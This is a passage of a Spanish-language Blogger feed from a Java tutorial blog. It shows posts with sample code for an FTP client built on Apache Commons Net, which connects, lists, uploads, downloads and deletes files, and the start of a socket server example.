ruta=ruta+p.getPath()[i+1]+"\\";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;File f=new File(ruta);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;return f;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Descarga&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El proyecto lo pueden descargar desde&amp;nbsp;&lt;a href="http://www.kickupload.com/files/0U4MSG49/FTPClient.rar"&gt;aquí&lt;/a&gt;. Se incluyen archivos fuentes,&amp;nbsp;imágenes&amp;nbsp;y el archivo jar para que lo prueben.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-7452095821941756109?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/7452095821941756109/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/12/segunda-entrada-del-cliente-ftp.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/7452095821941756109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/7452095821941756109'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/12/segunda-entrada-del-cliente-ftp.html' title='Segunda Entrada del Cliente FTP'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-a5KCVSjqrxk/Tul0-I83SRI/AAAAAAAAAhQ/DFfmECpLuoo/s72-c/Java+Zone+Cliente+FTP+2+entrega.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-5673431335220365497</id><published>2011-12-03T20:15:00.001-05:00</published><updated>2012-01-29T21:58:55.129-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FTP'/><category scheme='http://www.blogger.com/atom/ns#' term='cliente ftp'/><category scheme='http://www.blogger.com/atom/ns#' term='FTP client'/><title type='text'>Primera entrega de Java Zone Cliente FTP</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Primera entrega de Java Zone Cliente FTP&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Gracias al&amp;nbsp;código&amp;nbsp;proporcionado por &lt;b&gt;Armando Mateu&lt;/b&gt;, publicamos estoy hoy, ahora veremos como utilizar la&amp;nbsp;librería&amp;nbsp;FTP de Oracle para poder comunicarnos con un servidor ftp, descargar un archivo, subir un archivo, movernos entre directorios etc. Pronto publicaremos una&amp;nbsp;versión&amp;nbsp;gráfica, donde&amp;nbsp;podrás&amp;nbsp;navegar entre los directorios.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Imágenes&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-NSpjWfXhBhI/TtrLCFaYvXI/AAAAAAAAAhA/nQE40b7XC9I/s1600/Java+Zone+Cliente+FTP.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="108" src="http://3.bp.blogspot.com/-NSpjWfXhBhI/TtrLCFaYvXI/AAAAAAAAAhA/nQE40b7XC9I/s400/Java+Zone+Cliente+FTP.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Código&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.FileInputStream;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.FileNotFoundException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.FileOutputStream;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.IOException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.net.SocketException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import org.apache.commons.net.ftp.FTPClient;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import org.apache.commons.net.ftp.FTPFile;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class Principal {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; private static FTPClient ftp = null;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; private static FileInputStream fis = null;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; private static FileOutputStream fos = null;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; private static String ip = "url del servidor ftp";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; private static String user = "usuario";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; private static String pass = "contraseña del servidor ftp";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; private static String localFile = "ruta del archivo a subir";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; private static String hostFile="JavaZone.dat"; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void main(String[] args) throws SocketException, IOException {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; conectar(ip,user,pass);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; directorioActual();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; cambiarDeDirectorioEnFTP("Savs");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; directorioActual();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; cambiarDirectorioAnterior();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; directorioActual();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; lista();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; enviarArchivoFTP(localFile, hostFile);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; desconectar();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void conectar(String ip, String user, String pass) throws SocketException, IOException{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;ftp = new FTPClient();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; ftp.connect(ip);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; if(ftp.login(user, pass)){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("login OK");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }else&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("login Error");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void desconectar() throws IOException{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ftp.logout();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; ftp.disconnect();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void directorioActual() throws IOException{ &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println( ftp.printWorkingDirectory()); &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void cambiarDeDirectorioEnFTP(String dir) throws IOException{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ftp.changeWorkingDirectory(dir);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void cambiarDirectorioAnterior() throws IOException{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ftp.changeToParentDirectory(); &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void enviarArchivoFTP(String localFile, String hostFile) throws FileNotFoundException, IOException{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; fis = new FileInputStream(localFile);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; if(ftp.storeFile(hostFile,fis)){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Envio correcto");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }else&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Error Envio ");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; fis.close();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void desrcargarArchivoFTP(String localFile, String hostFile) throws FileNotFoundException, IOException{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;// &amp;nbsp; &amp;nbsp;fos = new FileOutputStream("upload.txt"); &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; fos = new FileOutputStream(localFile); &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; if(ftp.retrieveFile("/" + hostFile, fos)){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Desgarca correcta");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }else&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Error Descarga");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; fos.close();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void eliminarArchivoFTP() throws IOException{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp;String hostFile = "Hola2.txt";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; boolean deleted = ftp.deleteFile(hostFile);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; if (deleted) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("File deleted...");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }else&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Error al borrar");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void listaArchivos() throws IOException{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; FTPFile[] ftpFiles = ftp.listFiles();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; for (FTPFile ftpFile : ftpFiles) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; // Check if FTPFile is a regular file&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; if (ftpFile.getType() == FTPFile.FILE_TYPE) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;System.out.println("FTPFile: " + ftpFile.getName() + "; " &amp;nbsp;+ ftpFile.getSize()/1024 + " Kbs");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("FTPFile: " + ftpFile.getName() + "; " &amp;nbsp;+ ftpFile.getSize() + " b");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;System.out.println("FTPFile: " + ftpFile.getName() + "; " );&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; } &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void listaDirectorios() throws IOException{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; FTPFile[] ftpFiles = ftp.listDirectories();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; for (FTPFile ftpFile : ftpFiles) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; // Check if FTPFile is a regular file&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; if (ftpFile.getType() == FTPFile.FILE_TYPE) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;System.out.println("FTPFile: " + ftpFile.getName() + "; " &amp;nbsp;+ ftpFile.getSize()/1024 + " Kbs");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("FTPFile: " + ftpFile.getName() + "; " &amp;nbsp;+ ftpFile.getSize() + " b");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;// &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;System.out.println("FTPFile: " + ftpFile.getName() + "; " );&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; } &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; public static void lista() throws IOException{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; String[] names = ftp.listNames();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; for (String name : names) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Name = " + name);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Descargar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Pueden descargar el proyecto completo desde&amp;nbsp;&lt;a href="http://www.kickupload.com/files/DOCQSTBN/ClienteFTP.rar"&gt;aquí&lt;/a&gt;. Se incluyen los archivos fuentes, los .class y las&amp;nbsp;imágenes.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-5673431335220365497?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/5673431335220365497/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/12/primera-entrega-de-java-zone-cliente.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/5673431335220365497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/5673431335220365497'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/12/primera-entrega-de-java-zone-cliente.html' title='Primera entrega de Java Zone Cliente FTP'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-NSpjWfXhBhI/TtrLCFaYvXI/AAAAAAAAAhA/nQE40b7XC9I/s72-c/Java+Zone+Cliente+FTP.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-1660835100477175169</id><published>2011-12-03T18:37:00.001-05:00</published><updated>2011-12-03T19:15:08.062-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java zone manejo de clientes'/><category scheme='http://www.blogger.com/atom/ns#' term='sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='java zone'/><title type='text'>Manejo de clientes en un servidor</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Manejo de clientes en un servidor&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Hoy veremos como podemos manejar el acceso a recursos del servidor, para este ejemplo el servidor tiene dos base de datos, y solo un usuario puede acceder a una sola base de datos y mientras esta ocupada no podra atender mas pedidos, si se conecta otro usuario, se conectara a la segunda base de datos, y si se conecta un tercer usuario este debe esperar hasta que una base de datos se desocupe.&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Imágenes&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-hCfFXYW9LPI/Ttq7aSNiE2I/AAAAAAAAAg4/6c3x0foD3N0/s1600/java+zone+-+manejo+clientes.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="160" src="http://4.bp.blogspot.com/-hCfFXYW9LPI/Ttq7aSNiE2I/AAAAAAAAAg4/6c3x0foD3N0/s400/java+zone+-+manejo+clientes.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Código&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Servidor&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.io.IOException;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.net.ServerSocket;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.net.Socket;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.util.logging.Level;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.util.logging.Logger;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; HiloManejador hm;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public Principal(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ServerSocket server = new ServerSocket(1234);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Servidor encendido y escuchando en el puerto 1234");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Servidor a la espera de clientes");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hm=new HiloManejador();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hm.start();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; while(true){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Socket cliente=server.accept();&lt;/b&gt;&lt;br 